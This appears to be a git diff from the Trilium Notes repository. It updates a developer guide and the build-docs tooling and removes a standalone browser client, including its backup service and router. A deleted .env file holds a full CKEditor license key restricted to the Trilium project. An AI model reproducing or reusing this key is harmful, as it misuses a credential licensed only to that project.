- `isElectron`, `isMac`, `isWindows` — Platform detection flags
4. **Configuration**:
- `package.json` - Project dependencies and scripts
**Critical rules for `trilium-core`**:
- **No `process.env` in core** — use `getPlatform().getEnv()` instead (not available in standalone/browser)
- **No `import path from "path"` in core** — Node's `path` module is externalized in browser builds. Use `packages/trilium-core/src/services/utils/path.ts` for `extname()`/`basename()` equivalents
- **No Node.js built-in modules in core** — core runs in both Node.js and the browser (standalone). Use platform-agnostic alternatives or platform providers
- **Platform detection via functions** — `isElectron()`, `isMac()`, `isWindows()` from `utils/index.ts` are functions (not constants) that call `getPlatform()`. They can only be called after `initializeCore()`, not at module top-level. If used in static definitions, wrap in a closure: `value: () => isWindows() ? "0.9" : "1.0"`
- **Barrel import caution** — `import { x } from "@triliumnext/core"` loads ALL core exports. Early-loading modules like `config.ts` should import specific subpaths (e.g. `@triliumnext/core/src/services/utils/index`) to avoid circular dependencies or initialization ordering issues
- **Electron IPC** — In desktop mode, client API calls use Electron IPC (not HTTP). The IPC handler in `apps/server/src/routes/electron.ts` must be registered via `utils.isElectron` from the **server's** utils (which correctly checks `process.versions["electron"]`), not from core's utils
## Note Types and Features
### Binary Utilities
Trilium supports multiple note types, each with specialized widgets:
- **Text**: Rich text with CKEditor5 (markdown import/export)
- **Code**: Syntax-highlighted code editing with CodeMirror
- **File**: Binary file attachments
- **Image**: Image display with editing capabilities
- **Canvas**: Drawing/diagramming with Excalidraw
- **Mermaid**: Diagram generation
- **Relation Map**: Visual note relationship mapping
- **Web View**: Embedded web pages
- **Doc/Book**: Hierarchical documentation structure
Use utilities from `packages/trilium-core/src/services/utils/binary.ts` for string/buffer conversions instead of manual `TextEncoder`/`TextDecoder` or `Buffer.from()` calls:
- **`wrapStringOrBuffer(input)`** — Converts `string` to `Uint8Array`, returns `Uint8Array` unchanged. Use when a function expects `Uint8Array` but receives `string | Uint8Array`.
- **`unwrapStringOrBuffer(input)`** — Converts `Uint8Array` to `string`, returns `string` unchanged. Use when a function expects `string` but receives `string | Uint8Array`.
- **`encodeBase64(input)`** / **`decodeBase64(input)`** — Base64 encoding/decoding that works in both Node.js and browser.
- **`encodeUtf8(string)`** / **`decodeUtf8(buffer)`** — UTF-8 encoding/decoding.
Import via `import { binary_utils } from "@triliumnext/core"` or directly from the module.
### Database
SQLite via `better-sqlite3`. SQL abstraction in `packages/trilium-core/src/services/sql/` with `DatabaseProvider` interface, prepared statement caching, and transaction support.
- Schema: `apps/server/src/assets/db/schema.sql`
- Migrations: `apps/server/src/migrations/YYMMDD_HHMM__description.sql`
## Development Guidelines
### Testing Strategy
- Server tests run sequentially due to shared database
@@ -182,6 +122,12 @@ SQLite via `better-sqlite3`. SQL abstraction in `packages/trilium-core/src/servi
- **Write concise tests**: Group related assertions together in a single test case rather than creating many one-shot tests
- **Extract and test business logic**: When adding pure business logic (e.g., data transformations, migrations, validations), extract it as a separate function and always write unit tests for it
### Scripting System
Trilium provides powerful user scripting capabilities:
- Frontend scripts run in browser context
- Backend scripts run in Node.js context with full API access
- Script API documentation available in `docs/Script API/`
### Internationalization
- Translation files in `apps/client/src/translations/`
- Supported languages: English, German, Spanish, French, Romanian, Chinese
@@ -201,14 +147,12 @@ SQLite via `better-sqlite3`. SQL abstraction in `packages/trilium-core/src/servi
- IPC communication: use `electron.ipcMain.on(channel, handler)` on server side, `electron.ipcRenderer.send(channel, data)` on client side
- Electron-only features should check `isElectron()` from `apps/client/src/services/utils.ts` (client) or `utils.isElectron` (server)
Three inheritance mechanisms:
1. **Standard**: `note.getInheritableAttributes()` walks parent tree
2. **Child prefix**: `child:label` on parent copies to children
3. **Template relation**: `#template=noteNoteId` includes template's inheritable attributes
### Security Considerations
- Per-note encryption with granular protected sessions
- CSRF protection for API endpoints
- OpenID and TOTP authentication support
- Sanitization of user-generated content
### Attribute Inheritance
Use `note.getOwnedAttribute()` for direct, `note.getAttribute()` for inherited.
### Client-Side API Restrictions
- **Do not use `crypto.randomUUID()`** or other Web Crypto APIs that require secure contexts - Trilium can run over HTTP, not just HTTPS
- Use `randomString()` from `apps/client/src/services/utils.ts` for generating IDs instead
@@ -218,9 +162,8 @@ Use `note.getOwnedAttribute()` for direct, `note.getAttribute()` for inherited.
- To add a new user preference:
1. Add the option type to `OptionDefinitions` in `packages/commons/src/lib/options_interface.ts`
2. Add a default value in `apps/server/src/services/options_init.ts` in the `defaultOptions` array
3. **Whitelist the option** in `apps/server/src/routes/api/options.ts` by adding it to the `ALLOWED_OPTIONS` array — **without this, the API will reject changes with "Option 'X' is not allowed to be changed"**
4. If the option should be user-editable in the UI, add a control in the appropriate settings component (e.g., `apps/client/src/widgets/type_widgets/options/other.tsx`) and a translation key in `apps/client/src/translations/en/translation.json`
5. Use `useTriliumOption("optionName")` hook in React components to read/write the option
3. **Whitelist the option** in `apps/server/src/routes/api/options.ts` by adding it to `ALLOWED_OPTIONS` (required for client updates)
4. Use `useTriliumOption("optionName")` hook in React components to read/write the option
- Available hooks: `useTriliumOption` (string), `useTriliumOptionBool`, `useTriliumOptionInt`, `useTriliumOptionJson`
- See `docs/Developer Guide/Developer Guide/Concepts/Options/Creating a new option.md` for detailed documentation
@@ -229,43 +172,20 @@ Use `note.getOwnedAttribute()` for direct, `note.getAttribute()` for inherited.
- Import shared types directly from `@triliumnext/commons` - do not re-export them from app-specific modules
- Keep app-specific types (e.g., `LlmProvider` for server, `StreamCallbacks` for client) in their respective apps
## Important Patterns
## Common Development Tasks
- **Protected notes**: Check `note.isContentAvailable()` before accessing content; use `note.getTitleOrProtected()` for safe title access
- **Long operations**: Use `TaskContext` for progress reporting via WebSocket
- **Event system** (`packages/trilium-core/src/services/events.ts`): Events emitted in order (notes → branches → attributes) during load for referential integrity
- **Search**: Expression-based, scoring happens in-memory — cannot add SQL-level LIMIT/OFFSET without losing scoring
- **Widget cleanup**: Unsubscribe from events in `cleanup()`/`doDestroy()` to prevent memory leaks
### Adding New Note Types
1. Create widget in `apps/client/src/widgets/type_widgets/`
2. Register in `apps/client/src/services/note_types.ts`
3. Add backend handling in `apps/server/src/services/notes.ts`
## Code Style
### Extending Search
- Search expressions handled in `apps/server/src/services/search/`
- Add new search operators in search context files
- 4-space indentation, semicolons always required
- Double quotes (enforced by format config)
- Max line length: 100 characters
- Unix line endings
- Import sorting via `eslint-plugin-simple-import-sort`
## Testing
- **Server tests** (`apps/server/spec/`): Vitest, must run sequentially (shared DB), forks pool, max 6 workers
- **Client tests** (`apps/client/src/`): Vitest with happy-dom environment, can run in parallel
- **E2E tests** (`packages/trilium-e2e/`): Shared Playwright tests, run via `pnpm --filter server e2e` or `pnpm --filter client-standalone e2e`
- **ETAPI tests** (`apps/server/spec/etapi/`): External API contract tests
## Documentation
- `docs/Script API/` — Auto-generated, never edit directly
- `docs/User Guide/` — Edit via `pnpm edit-docs:edit-docs`, not manually
- `docs/Developer Guide/` and `docs/Release Notes/` — Safe for direct Markdown editing
## Key Entry Points
- `apps/server/src/main.ts` — Server startup
- `apps/client/src/desktop.ts` — Client initialization
- `packages/trilium-core/src/becca/becca.ts` — Backend data management
- `apps/client/src/services/froca.ts` — Frontend cache
- `apps/server/src/routes/routes.ts` — API route registration
- `packages/trilium-core/src/services/sql/sql.ts` — Database abstraction
### Custom CKEditor Plugins
- Create new package in `packages/` following existing plugin structure
- Register in `packages/ckeditor5/src/plugins.ts`
### Adding Hidden System Notes
The hidden subtree (`_hidden`) contains system notes with predictable IDs (prefixed with `_`). Defined in `apps/server/src/services/hidden_subtree.ts` via the `HiddenSubtreeItem` interface from `@triliumnext/commons`.
@@ -317,4 +237,4 @@ Tools are defined using `defineTools()` in `apps/server/src/services/llm/tools/`
- Vite for fast development builds
- ESBuild for production optimization
- pnpm workspaces for dependency management
- Docker support with multi-stage builds
- Docker support with multi-stage builds

View File

@@ -15,16 +15,12 @@
"author": "Elian Doran <contact@eliandoran.me>",
"license": "AGPL-3.0-only",
"packageManager": "pnpm@10.33.0",
"dependencies": {
"@triliumnext/core": "workspace:*",
"@triliumnext/server": "workspace:*"
},
"devDependencies": {
"@redocly/cli": "2.28.0",
"@redocly/cli": "2.26.0",
"archiver": "7.0.1",
"fs-extra": "11.3.4",
"js-yaml": "4.1.1",
"typedoc": "0.28.19",
"typedoc": "0.28.18",
"typedoc-plugin-missing-exports": "4.1.3"
}
}

View File

@@ -14,18 +14,21 @@
*/
export type {
AbstractBeccaEntity,
BAttachment,
BAttribute,
BBranch,
BEtapiToken,
BNote,
BOption,
BRecentNote,
BRevision
} from "@triliumnext/core";
default as AbstractBeccaEntity
} from "../../server/src/becca/entities/abstract_becca_entity.js";
export type {
default as BAttachment
} from "../../server/src/becca/entities/battachment.js";
export type { default as BAttribute } from "../../server/src/becca/entities/battribute.js";
export type { default as BBranch } from "../../server/src/becca/entities/bbranch.js";
export type { default as BEtapiToken } from "../../server/src/becca/entities/betapi_token.js";
export type { BNote };
export type { default as BOption } from "../../server/src/becca/entities/boption.js";
export type { default as BRecentNote } from "../../server/src/becca/entities/brecent_note.js";
export type { default as BRevision } from "../../server/src/becca/entities/brevision.js";
import { BNote, BackendScriptApi, type BackendScriptApiInterface as Api } from "@triliumnext/core";
import BNote from "../../server/src/becca/entities/bnote.js";
import BackendScriptApi, { type Api } from "../../server/src/services/backend_script_api.js";
export type { Api };

View File

@@ -5,43 +5,10 @@ if (!process.env.TRILIUM_RESOURCE_DIR) {
}
process.env.NODE_ENV = "development";
import { BackupService, getContext, initializeCore, type ImageProvider } from "@triliumnext/core";
import ClsHookedExecutionContext from "@triliumnext/server/src/cls_provider.js";
import NodejsCryptoProvider from "@triliumnext/server/src/crypto_provider.js";
import ServerPlatformProvider from "@triliumnext/server/src/platform_provider.js";
import BetterSqlite3Provider from "@triliumnext/server/src/sql_provider.js";
import NodejsZipProvider from "@triliumnext/server/src/zip_provider.js";
// Stub backup service for build-docs (not used, but required by initializeCore)
class StubBackupService extends BackupService {
constructor() {
super({
getOption: () => "",
getOptionBool: () => false,
setOption: () => {}
});
}
async backupNow(_name: string): Promise<string> {
throw new Error("Backup not supported in build-docs");
}
async getExistingBackups() {
return [];
}
async getBackupContent(_filePath: string): Promise<Uint8Array | null> {
return null;
}
}
// Stub image provider for build-docs (not used, but required by initializeCore)
const stubImageProvider: ImageProvider = {
getImageType: () => null,
processImage: async () => {
throw new Error("Image processing not supported in build-docs");
}
};
import cls from "@triliumnext/server/src/services/cls.js";
import archiver from "archiver";
import { execSync } from "child_process";
import { readFileSync } from "fs";
import { WriteStream } from "fs";
import * as fs from "fs/promises";
import * as fsExtra from "fs-extra";
import yaml from "js-yaml";
@@ -49,37 +16,6 @@ import { dirname, join, resolve } from "path";
import BuildContext from "./context.js";
let initialized = false;
async function initializeBuildEnvironment() {
if (initialized) return;
initialized = true;
const dbProvider = new BetterSqlite3Provider();
dbProvider.loadFromMemory();
const { serverZipExportProviderFactory } = await import("@triliumnext/server/src/services/export/zip/factory.js");
await initializeCore({
dbConfig: {
provider: dbProvider,
isReadOnly: false,
onTransactionCommit: () => {},
onTransactionRollback: () => {}
},
crypto: new NodejsCryptoProvider(),
zip: new NodejsZipProvider(),
zipExportProviderFactory: serverZipExportProviderFactory,
executionContext: new ClsHookedExecutionContext(),
platform: new ServerPlatformProvider(),
schema: readFileSync(require.resolve("@triliumnext/core/src/assets/schema.sql"), "utf-8"),
translations: (await import("@triliumnext/server/src/services/i18n.js")).initializeTranslations,
getDemoArchive: async () => null,
backup: new StubBackupService(),
image: stubImageProvider
});
}
interface NoteMapping {
rootNoteId: string;
path: string;
@@ -136,8 +72,9 @@ async function exportDocs(
) {
const zipFilePath = `output-${noteId}.zip`;
try {
const { zipExportService } = await import("@triliumnext/core");
await zipExportService.exportToZipFile(noteId, format, zipFilePath, {});
const { exportToZipFile } = (await import("@triliumnext/server/src/services/export/zip.js"))
.default;
await exportToZipFile(noteId, format, zipFilePath, {});
const ignoredSet = ignoredFiles ? new Set(ignoredFiles) : undefined;
await extractZip(zipFilePath, outputPath, ignoredSet);
@@ -155,12 +92,18 @@ async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
const zipName = outputSubDir || "user-guide";
const zipFilePath = `output-${zipName}.zip`;
try {
const { zipExportService, TaskContext } = await import("@triliumnext/core");
const { waitForStreamToFinish } = await import("@triliumnext/server/src/services/utils.js");
const { exportToZip } = (await import("@triliumnext/server/src/services/export/zip.js"))
.default;
const branch = note.getParentBranches()[0];
const taskContext = new TaskContext("no-progress-reporting", "export", null);
const taskContext = new (await import("@triliumnext/server/src/services/task_context.js"))
.default(
"no-progress-reporting",
"export",
null
);
const fileOutputStream = fsExtra.createWriteStream(zipFilePath);
await zipExportService.exportToZip(taskContext, branch, "share", fileOutputStream);
await exportToZip(taskContext, branch, "share", fileOutputStream);
const { waitForStreamToFinish } = await import("@triliumnext/server/src/services/utils.js");
await waitForStreamToFinish(fileOutputStream);
// Output to root directory if outputSubDir is empty, otherwise to subdirectory
@@ -174,11 +117,15 @@ async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
}
async function buildDocsInner(config?: Config) {
const { sql_init, becca_loader } = await import("@triliumnext/core");
await sql_init.createInitialDatabase(true);
const i18n = await import("@triliumnext/server/src/services/i18n.js");
await i18n.initializeTranslations();
const sqlInit = (await import("../../server/src/services/sql_init.js")).default;
await sqlInit.createInitialDatabase(true);
// Wait for becca to be loaded before importing data
await becca_loader.beccaLoaded;
const beccaLoader = await import("../../server/src/becca/becca_loader.js");
await beccaLoader.beccaLoaded;
if (config) {
// Config-based build (reads from edit-docs-config.yaml)
@@ -229,14 +176,16 @@ async function buildDocsInner(config?: Config) {
export async function importData(path: string) {
const buffer = await createImportZip(path);
const { zipImportService, TaskContext, becca } = await import("@triliumnext/core");
const importService = (await import("../../server/src/services/import/zip.js")).default;
const TaskContext = (await import("../../server/src/services/task_context.js")).default;
const context = new TaskContext("no-progress-reporting", "importNotes", null);
const becca = (await import("../../server/src/becca/becca.js")).default;
const rootNote = becca.getRoot();
if (!rootNote) {
throw new Error("Missing root note for import.");
}
return await zipImportService.importZip(context, buffer, rootNote, {
return await importService.importZip(context, buffer, rootNote, {
preserveIds: true
});
}
@@ -269,16 +218,20 @@ export async function extractZip(
outputPath: string,
ignoredFiles?: Set<string>
) {
const { getZipProvider } = await import("@triliumnext/core");
await getZipProvider().readZipFile(await fs.readFile(zipFilePath), async (entry, readContent) => {
const { readZipFile, readContent } = (await import(
"@triliumnext/server/src/services/import/zip.js"
));
await readZipFile(await fs.readFile(zipFilePath), async (zip, entry) => {
// We ignore directories since they can appear out of order anyway.
if (!entry.fileName.endsWith("/") && !ignoredFiles?.has(entry.fileName)) {
const destPath = join(outputPath, entry.fileName);
const fileContent = await readContent();
const fileContent = await readContent(zip, entry);
await fsExtra.mkdirs(dirname(destPath));
await fs.writeFile(destPath, fileContent);
}
zip.readEntry();
});
}
@@ -293,12 +246,9 @@ export async function buildDocsFromConfig(configPath?: string, gitRootDir?: stri
});
}
// Initialize the build environment before using cls
await initializeBuildEnvironment();
// Trigger the actual build.
await new Promise((res, rej) => {
getContext().init(() => {
cls.init(() => {
buildDocsInner(config ?? undefined)
.catch(rej)
.then(res);
@@ -313,12 +263,9 @@ export default async function buildDocs({ gitRootDir }: BuildContext) {
cwd: gitRootDir
});
// Initialize the build environment before using cls
await initializeBuildEnvironment();
// Trigger the actual build.
await new Promise((res, rej) => {
getContext().init(() => {
cls.init(() => {
buildDocsInner()
.catch(rej)
.then(res);

View File

@@ -28,13 +28,4 @@ async function main() {
cpSync(join(context.baseDir, "user-guide/404.html"), join(context.baseDir, "404.html"));
}
// Note: forcing process.exit() because importing notes via the core triggers
// fire-and-forget async work in `notes.ts#downloadImages` (a 5s setTimeout that
// re-schedules itself via `asyncPostProcessContent`), which keeps the libuv
// event loop alive forever even after main() completes.
main()
.then(() => process.exit(0))
.catch((error) => {
console.error("Error building documentation:", error);
process.exit(1);
});
main();

View File

@@ -23,12 +23,6 @@
"eslint.config.mjs"
],
"references": [
{
"path": "../../packages/commons/tsconfig.lib.json"
},
{
"path": "../../packages/trilium-core/tsconfig.lib.json"
},
{
"path": "../server/tsconfig.app.json"
},

View File

@@ -1,7 +1,8 @@
{
"extends": "../../tsconfig.base.json",
"files": [],
"include": [],
"include": [
"scripts/**/*.ts"
],
"references": [
{
"path": "../server"

View File

@@ -1,4 +0,0 @@
# The development license key for premium CKEditor features.
# Note: This key must only be used for the Trilium Notes project.
VITE_CKEDITOR_KEY=eyJhbGciOiJFUzI1NiJ9.eyJleHAiOjE3ODcyNzA0MDAsImp0aSI6IjkyMWE1MWNlLTliNDMtNGRlMC1iOTQwLTc5ZjM2MDBkYjg1NyIsImRpc3RyaWJ1dGlvbkNoYW5uZWwiOiJ0cmlsaXVtIiwiZmVhdHVyZXMiOlsiVFJJTElVTSJdLCJ2YyI6ImU4YzRhMjBkIn0.hny77p-U4-jTkoqbwPytrEar5ylGCWBN7Ez3SlB8i6_mJCBIeCSTOlVQk_JMiOEq3AGykUMHzWXzjdMFwgniOw
VITE_CKEDITOR_ENABLE_INSPECTOR=false

View File

@@ -1 +0,0 @@
VITE_CKEDITOR_ENABLE_INSPECTOR=false

View File

@@ -1,94 +0,0 @@
{
"name": "@triliumnext/client-standalone",
"version": "0.102.2",
"description": "Standalone client for TriliumNext with SQLite WASM backend",
"private": true,
"license": "AGPL-3.0-only",
"scripts": {
"build": "cross-env NODE_OPTIONS=--max-old-space-size=4096 vite build",
"dev": "vite dev",
"test": "vitest",
"start-prod": "pnpm build && pnpm vite preview --port 8888",
"coverage": "vitest --coverage",
"e2e": "playwright test",
"start-prod-no-dir": "pnpm build && pnpm vite preview --host 127.0.0.1"
},
"dependencies": {
"@excalidraw/excalidraw": "0.18.0",
"@fullcalendar/core": "6.1.20",
"@fullcalendar/daygrid": "6.1.20",
"@fullcalendar/interaction": "6.1.20",
"@fullcalendar/list": "6.1.20",
"@fullcalendar/multimonth": "6.1.20",
"@fullcalendar/timegrid": "6.1.20",
"@maplibre/maplibre-gl-leaflet": "0.1.3",
"@mermaid-js/layout-elk": "0.2.1",
"@mind-elixir/node-menu": "5.0.1",
"@popperjs/core": "2.11.8",
"@preact/signals": "2.9.0",
"@sqlite.org/sqlite-wasm": "3.51.1-build2",
"@triliumnext/ckeditor5": "workspace:*",
"@triliumnext/codemirror": "workspace:*",
"@triliumnext/commons": "workspace:*",
"@triliumnext/core": "workspace:*",
"@triliumnext/highlightjs": "workspace:*",
"@triliumnext/share-theme": "workspace:*",
"@triliumnext/split.js": "workspace:*",
"@zumer/snapdom": "2.8.0",
"autocomplete.js": "0.38.1",
"bootstrap": "5.3.8",
"boxicons": "2.1.4",
"clsx": "2.1.1",
"color": "5.0.3",
"debounce": "3.0.0",
"draggabilly": "3.0.0",
"fflate": "0.8.2",
"force-graph": "1.51.2",
"globals": "17.4.0",
"i18next": "26.0.4",
"i18next-http-backend": "3.0.4",
"aes-js": "3.1.2",
"jquery": "4.0.0",
"jquery.fancytree": "2.38.5",
"js-md5": "0.8.3",
"js-sha1": "0.7.0",
"js-sha256": "0.11.1",
"js-sha512": "0.9.0",
"scrypt-js": "3.0.1",
"jsplumb": "2.15.6",
"katex": "0.16.45",
"knockout": "3.5.1",
"leaflet": "1.9.4",
"leaflet-gpx": "2.2.0",
"mark.js": "8.11.1",
"marked": "18.0.0",
"mermaid": "11.14.0",
"mind-elixir": "5.10.0",
"normalize.css": "8.0.1",
"panzoom": "9.4.4",
"preact": "10.29.1",
"react-i18next": "17.0.2",
"react-window": "2.2.7",
"reveal.js": "6.0.0",
"svg-pan-zoom": "3.6.2",
"tabulator-tables": "6.4.0",
"vanilla-js-wheel-zoom": "9.0.4"
},
"devDependencies": {
"@types/aes-js": "3.1.4",
"@ckeditor/ckeditor5-inspector": "5.0.0",
"@preact/preset-vite": "2.10.2",
"@types/bootstrap": "5.2.10",
"@types/jquery": "4.0.0",
"@types/leaflet": "1.9.21",
"@types/leaflet-gpx": "1.3.8",
"@types/mark.js": "8.11.12",
"@types/reveal.js": "5.2.2",
"@types/tabulator-tables": "6.3.1",
"copy-webpack-plugin": "14.0.0",
"cross-env": "7.0.3",
"happy-dom": "20.8.9",
"script-loader": "0.7.2",
"vite-plugin-static-copy": "4.0.1"
}
}

View File

@@ -1,20 +0,0 @@
import { createBaseConfig } from "../../packages/trilium-e2e/src/base-config";
const port = process.env["TRILIUM_PORT"] ?? "8082";
const baseURL = process.env["BASE_URL"] || `http://127.0.0.1:${port}`;
export default createBaseConfig({
appDir: __dirname,
projectName: "standalone",
workers: 1,
webServer: !process.env.TRILIUM_DOCKER ? {
command: `pnpm build && pnpm vite preview --host 127.0.0.1 --port ${port}`,
url: baseURL,
env: {
TRILIUM_INTEGRATION_TEST: "memory"
},
reuseExistingServer: !process.env.CI,
cwd: __dirname,
timeout: 5 * 60 * 1000
} : undefined,
});

View File

@@ -1,3 +0,0 @@
/*
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp

Binary file not shown.

Before

Width:  |  Height:  |  Size: 112 KiB

View File

@@ -1,20 +0,0 @@
{
"name": "Trilium Notes",
"short_name": "Trilium",
"description": "Trilium Notes is a hierarchical note taking application with focus on building large personal knowledge bases.",
"theme_color": "#333333",
"background_color": "#1F1F1F",
"display": "standalone",
"scope": "/",
"start_url": "/",
"display_override": [
"window-controls-overlay"
],
"icons": [
{
"src": "assets/icon.png",
"sizes": "512x512",
"type": "image/png"
}
]
}

View File

@@ -1,2 +0,0 @@
// Re-export desktop from client
export * from "../../client/src/desktop";

View File

@@ -1,31 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<link rel="shortcut icon" href="favicon.ico">
<meta name="mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
<link rel="manifest" crossorigin="use-credentials" href="manifest.webmanifest">
<title>Trilium Notes</title>
</head>
<body id="trilium-app">
<noscript>Trilium requires JavaScript to be enabled.</noscript>
<div id="context-menu-cover"></div>
<div class="dropdown-menu dropdown-menu-sm" id="context-menu-container" style="display: none"></div>
<!-- Required for match the PWA's top bar color with the theme -->
<!-- This works even when the user directly changes --root-background in CSS -->
<div id="background-color-tracker" style="position: absolute; visibility: hidden; color: var(--root-background); transition: color 1ms;"></div>
<!-- Bootstrap (request server for required information) -->
<script src="./main.ts" type="module"></script>
<!-- Required for correct loading of scripts in Electron -->
<script>
if (typeof module === 'object') {window.module = module; module = undefined;}
</script>
</body>
</html>

View File

@@ -1,156 +0,0 @@
import type { DatabaseBackup } from "@triliumnext/commons";
import { BackupOptionsService, BackupService, getSql } from "@triliumnext/core";
const BACKUP_DIR_NAME = "backups";
const BACKUP_FILE_PATTERN = /^backup-.*\.db$/;
/**
* Standalone backup service using OPFS (Origin Private File System).
* Stores database backups as serialized byte arrays in OPFS.
* Falls back to no-op behavior when OPFS is not available (e.g., in tests).
*/
export default class StandaloneBackupService extends BackupService {
private backupDir: FileSystemDirectoryHandle | null = null;
private opfsAvailable: boolean | null = null;
constructor(options: BackupOptionsService) {
super(options);
}
private isOpfsAvailable(): boolean {
if (this.opfsAvailable === null) {
this.opfsAvailable = typeof navigator !== "undefined"
&& navigator.storage
&& typeof navigator.storage.getDirectory === "function";
}
return this.opfsAvailable;
}
private async ensureBackupDirectory(): Promise<FileSystemDirectoryHandle | null> {
if (!this.isOpfsAvailable()) {
return null;
}
if (!this.backupDir) {
const root = await navigator.storage.getDirectory();
this.backupDir = await root.getDirectoryHandle(BACKUP_DIR_NAME, { create: true });
}
return this.backupDir;
}
override async backupNow(name: string): Promise<string> {
const fileName = `backup-${name}.db`;
// Check if OPFS is available
if (!this.isOpfsAvailable()) {
console.warn(`[Backup] OPFS not available, skipping backup: ${fileName}`);
return `/${BACKUP_DIR_NAME}/${fileName}`;
}
try {
const dir = await this.ensureBackupDirectory();
if (!dir) {
console.warn(`[Backup] Backup directory not available, skipping: ${fileName}`);
return `/${BACKUP_DIR_NAME}/${fileName}`;
}
// Serialize the database
const data = getSql().serialize();
// Write to OPFS
const fileHandle = await dir.getFileHandle(fileName, { create: true });
const writable = await fileHandle.createWritable();
await writable.write(data);
await writable.close();
console.log(`[Backup] Created backup: ${fileName} (${data.byteLength} bytes)`);
return `/${BACKUP_DIR_NAME}/${fileName}`;
} catch (error) {
console.error(`[Backup] Failed to create backup ${fileName}:`, error);
// Don't throw - backup failure shouldn't block operations
return `/${BACKUP_DIR_NAME}/${fileName}`;
}
}
override async getExistingBackups(): Promise<DatabaseBackup[]> {
if (!this.isOpfsAvailable()) {
return [];
}
try {
const dir = await this.ensureBackupDirectory();
if (!dir) {
return [];
}
const backups: DatabaseBackup[] = [];
for await (const [name, handle] of dir.entries()) {
if (handle.kind !== "file" || !BACKUP_FILE_PATTERN.test(name)) {
continue;
}
const file = await (handle as FileSystemFileHandle).getFile();
backups.push({
fileName: name,
filePath: `/${BACKUP_DIR_NAME}/${name}`,
mtime: new Date(file.lastModified)
});
}
// Sort by modification time, newest first
backups.sort((a, b) => b.mtime.getTime() - a.mtime.getTime());
return backups;
} catch (error) {
console.error("[Backup] Failed to list backups:", error);
return [];
}
}
/**
* Delete a backup by filename.
*/
async deleteBackup(fileName: string): Promise<void> {
if (!this.isOpfsAvailable()) {
return;
}
try {
const dir = await this.ensureBackupDirectory();
if (!dir) {
return;
}
await dir.removeEntry(fileName);
console.log(`[Backup] Deleted backup: ${fileName}`);
} catch (error) {
console.error(`[Backup] Failed to delete backup ${fileName}:`, error);
}
}
override async getBackupContent(filePath: string): Promise<Uint8Array | null> {
if (!this.isOpfsAvailable()) {
return null;
}
try {
const dir = await this.ensureBackupDirectory();
if (!dir) {
return null;
}
// Extract fileName from filePath (e.g., "/backups/backup-now.db" -> "backup-now.db")
const fileName = filePath.split("/").pop();
if (!fileName || !BACKUP_FILE_PATTERN.test(fileName)) {
return null;
}
const fileHandle = await dir.getFileHandle(fileName);
const file = await fileHandle.getFile();
const data = await file.arrayBuffer();
return new Uint8Array(data);
} catch (error) {
console.error(`[Backup] Failed to get backup content ${filePath}:`, error);
return null;
}
}
}

View File

@@ -1,314 +0,0 @@
/**
* Browser-compatible router that mimics Express routing patterns.
* Supports path parameters (e.g., /api/notes/:noteId) and query strings.
*/
import { getContext, routes } from "@triliumnext/core";
export interface UploadedFile {
originalname: string;
mimetype: string;
buffer: Uint8Array;
}
export interface BrowserRequest {
method: string;
url: string;
path: string;
params: Record<string, string>;
query: Record<string, string | undefined>;
headers?: Record<string, string>;
body?: unknown;
file?: UploadedFile;
}
export interface BrowserResponse {
status: number;
headers: Record<string, string>;
body: ArrayBuffer | null;
}
export type RouteHandler = (req: BrowserRequest) => unknown | Promise<unknown>;
interface Route {
method: string;
pattern: RegExp;
paramNames: string[];
handler: RouteHandler;
}
/**
* Symbol used to mark a result as an already-formatted response,
* so that formatResult passes it through without JSON-serializing.
* Must match the symbol exported from browser_routes.ts.
*/
const RAW_RESPONSE = Symbol.for('RAW_RESPONSE');
const encoder = new TextEncoder();
/**
* Convert an Express-style path pattern to a RegExp.
* Supports :param syntax for path parameters.
*
* Examples:
* /api/notes/:noteId -> /^\/api\/notes\/([^\/]+)$/
* /api/notes/:noteId/revisions -> /^\/api\/notes\/([^\/]+)\/revisions$/
*/
function pathToRegex(path: string): { pattern: RegExp; paramNames: string[] } {
const paramNames: string[] = [];
// Escape special regex characters except for :param patterns
const regexPattern = path
.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') // Escape special chars
.replace(/:([a-zA-Z_][a-zA-Z0-9_]*)/g, (_, paramName) => {
paramNames.push(paramName);
return '([^/]+)';
});
return {
pattern: new RegExp(`^${regexPattern}$`),
paramNames
};
}
/**
* Parse query string into an object.
*/
function parseQuery(search: string): Record<string, string | undefined> {
const query: Record<string, string | undefined> = {};
if (!search || search === '?') return query;
const params = new URLSearchParams(search);
for (const [key, value] of params) {
query[key] = value;
}
return query;
}
/**
* Convert a result to a JSON response.
*/
function jsonResponse(obj: unknown, status = 200, extraHeaders: Record<string, string> = {}): BrowserResponse {
const parsedObj = routes.convertEntitiesToPojo(obj);
const body = encoder.encode(JSON.stringify(parsedObj)).buffer as ArrayBuffer;
return {
status,
headers: { "content-type": "application/json; charset=utf-8", ...extraHeaders },
body
};
}
/**
* Convert a string to a text response.
*/
function textResponse(text: string, status = 200, extraHeaders: Record<string, string> = {}): BrowserResponse {
const body = encoder.encode(text).buffer as ArrayBuffer;
return {
status,
headers: { "content-type": "text/plain; charset=utf-8", ...extraHeaders },
body
};
}
/**
* Browser router class that handles route registration and dispatching.
*/
export class BrowserRouter {
private routes: Route[] = [];
/**
* Register a route handler.
*/
register(method: string, path: string, handler: RouteHandler): void {
const { pattern, paramNames } = pathToRegex(path);
this.routes.push({
method: method.toUpperCase(),
pattern,
paramNames,
handler
});
}
/**
* Convenience methods for common HTTP methods.
*/
get(path: string, handler: RouteHandler): void {
this.register('GET', path, handler);
}
post(path: string, handler: RouteHandler): void {
this.register('POST', path, handler);
}
put(path: string, handler: RouteHandler): void {
this.register('PUT', path, handler);
}
patch(path: string, handler: RouteHandler): void {
this.register('PATCH', path, handler);
}
delete(path: string, handler: RouteHandler): void {
this.register('DELETE', path, handler);
}
/**
* Dispatch a request to the appropriate handler.
*/
async dispatch(method: string, urlString: string, body?: unknown, headers?: Record<string, string>): Promise<BrowserResponse> {
const url = new URL(urlString);
const path = url.pathname;
const query = parseQuery(url.search);
const upperMethod = method.toUpperCase();
// Parse body based on content-type
let parsedBody = body;
let uploadedFile: UploadedFile | undefined;
if (body instanceof ArrayBuffer && headers) {
